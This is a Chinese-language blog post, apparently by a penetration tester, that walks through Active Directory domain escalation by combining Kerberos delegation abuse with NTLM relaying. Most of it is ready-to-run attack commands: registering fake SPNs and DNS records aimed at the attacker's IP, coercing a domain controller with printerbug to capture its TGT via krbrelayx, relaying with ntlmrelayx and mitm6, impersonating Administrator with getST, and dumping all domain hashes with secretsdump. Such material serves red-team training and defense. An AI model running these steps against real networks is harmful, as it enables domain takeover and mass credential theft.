关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
T3ngYu 's Blog
Home
Archives
Tags
Search
内网渗透
漏洞复现
神兵利器
代码审计
关于我
友链
域渗透 - 委派&中继组合攻击利用
? Windows ?
? AD ?
? Lateral-Movement ?
2260
0
0
t3ngyu
? Windows ?
? AD ?
? Lateral-Movement ?
## 非约束性委派 ### 攻击简介 该方法主要利用域控上的 printerbug 强制访问我们伪造的非约束性委派计算机从而获取TGT进行提权。适用于域内提权,前提条件时需要获取域内非约束性委派账号。 ### 查找非约束委派账户 1.通过LDAP导出内容查找 该账号可能是计算机账户或者域用户账户,但是必须是服务账号,因此域用户需要通过`setspn -U -A test/test domain-user`注册服务。具体可以通过LDAP筛选 userAccountControl 属性包含 ADS_UF_TRUSTED_FOR_DELEGATION 标志,具体可以查看: ``` SCRIPT = 1, // 0x1 ACCOUNTDISABLE = 2, // 0x2 HOMEDIR_REQUIRED = 8, // 0x8 LOCKOUT = 16, // 0x10 PASSWD_NOTREQD = 32, // 0x20 PASSWD_CANT_CHANGE = 64, // 0x40 ENCRYPTED_TEXT_PASSWORD_ALLOWED = 128, // 0x80 TEMP_DUPLICATE_ACCOUNT = 256, // 0x100 NORMAL_ACCOUNT = 512, // 0x200 INTERDOMAIN_TRUST_ACCOUNT = 2048, // 0x800 WORKSTATION_TRUST_ACCOUNT = 4096, // 0x1000 SERVER_TRUST_ACCOUNT = 8192, // 0x2000 DONT_EXPIRE_PASSWD = 65536, // 0x10000 MNS_LOGON_ACCOUNT = 131072, // 0x20000 SMARTCARD_REQUIRED = 262144, // 0x40000 TRUSTED_FOR_DELEGATION = 524288, // 0x80000 NOT_DELEGATED = 1048576, // 0x100000 USE_DES_KEY_ONLY = 2097152, // 0x200000 DONT_REQUIRE_PREAUTH = 4194304, // 0x400000 PASSWORD_EXPIRED = 8388608, // 0x800000 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 16777216 // 0x1000000 ``` 2.通过集成工具查找 * PowerView ``` Get-NetUser -Unconstrained -Domain domain.com Get-NetComputer -Unconstrained -Domain domain.com ``` * pywerview `python pywerview.py get-netuser -u domain-user -p Passw0rd -d domain.com -t dc.domain.com --unconstrained`   ### 获取非约束委派账户凭证 1. 判断已有的账号是否是非约束委派账户 2. 针对非约束委派账户[利用 Kerberoasting 攻击获取服务账号密码](http://t3ngyu.leanote.com/post/Kerberoasting-Attack) ### 攻击利用 1.利用破解出来的非约束委派账户添加SPN(可以是不存在主机):`addspn.py -u DOMAIN\\USER -p PASSWORD -s host/FAKESYSTEM.FQDN ldap://DC.FQDN`   该操作依赖用户权限,可能会出现权限不足无法添加的情况,当且仅当非约束委派账户能添加时才能利用。 2.添加DNS记录指向攻击者的IP(DNS默认需要3分钟刷新,可以使用ping\nslookup进行刷新),普通域用户权限即可添加:` dnstool.py -u DOMAIN\\USERNAME -p PASSWORD -r FAKESYSTEM.FQDN -a add -d YOUR_IP DC_HOSTNAME`  3.开启监听,当执行 printerbug 时将强制DC服务账户向指定的计算机(非约束性委派计算机)进行身份验证,使得DC提供TGT副本,因此可以利用来在其他Kerberos服务上进行利用: `krbrelayx.py --krbsalt DOMAIN.FQDNUsernameCaseSensitive --krbpass PASSWORD`  需要注意的是 --krbsalt 参数格式,完全主机名后面直接接账号名 4.触发打印机漏洞获取TGT: `printerbug.py DOMAIN/USERNAME:PASSWORD@DC_HOSTNAME FAKE_SYSTEM.FQDN`  5.对TGT进行利用 ``` export KRB5CCNAME=CCACHE_FILE.CCACHE secretsdump.py -k DC_Hostname -just-dc ```  ## 基于资源的约束委派 ### 攻击介绍 通过中继攻击修改被害机器LDAP属性中的msDS-AllowedToActOnBehalfOfOtherIdentity属性,该属性可以控制哪些用户可以通过使用Kerberos模拟AD中几乎任何的帐户向计算机进行身份验证,因此我们可以将我们控制的账户添加进去,进而控制被害机器。 ### 有效用户的获取 1.使用普通域创建计算机账户: `addcomputer.py -method SAMR -computer-pass MADE_UP_PASSWORD -computer-name MADE_UP_NAME DOMAIN/USER:PASSWORD` 注意更新 impacket ,需要使用 python3,执行完成后将添加计算机账户  2.默认情况下,Active Directory中的任何用户最多可以创建10个计算机帐户,因此可以通过中继来创建一个计算机账户,该方式需要域控开启LDAPS `ntlmrelayx.py -t ldaps://DC.DOMAIN --add-computer`  ### 中继&委派 1.开启ntlmrelayx `ntlmrelayx.py -wh WPAD_Host --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DOMAIN_CONTROLLER`  2.利用mitm6进行中间人攻击,将流量引入到设置 ntlmrelayx的机器上,事先需要  **PS:经过测试发现不能通过SMB中继LDAP,当通过HTTP中继时,会出现弹窗认证,如果权限不够会直接收集信息,当账户为非约束委派账户时,可以直接将用户添加到企业管理员组中。** 从上图可以发现 server02\$ 的账户中继到域控上,并修改对象的权限,赋予我们创建的计算机账户的访问权限,一旦我们拥有计算机账户的委派权限,可以利用模拟身份(Administrator)连接到 server02\$ 的机器上。 `getST.py -spn cifs/Server_You_Relayed_To_Get_RBCD_Rights_On -impersonate TARGET_ACCOUNT DOMAIN/YOUR_CREATED_COMPUTER_ACCOUNT\$:PASSWORD`  3.通过TGT直接dump hash ``` export KRB5CCNAME=CCACHE_FILE.CCACHE secretsdump.py -k DC_Hostname -just-dc ```  参考链接: [No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA](https://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html) [The worst of both worlds: Combining NTLM Relaying and Kerberos delegation](https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation)
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.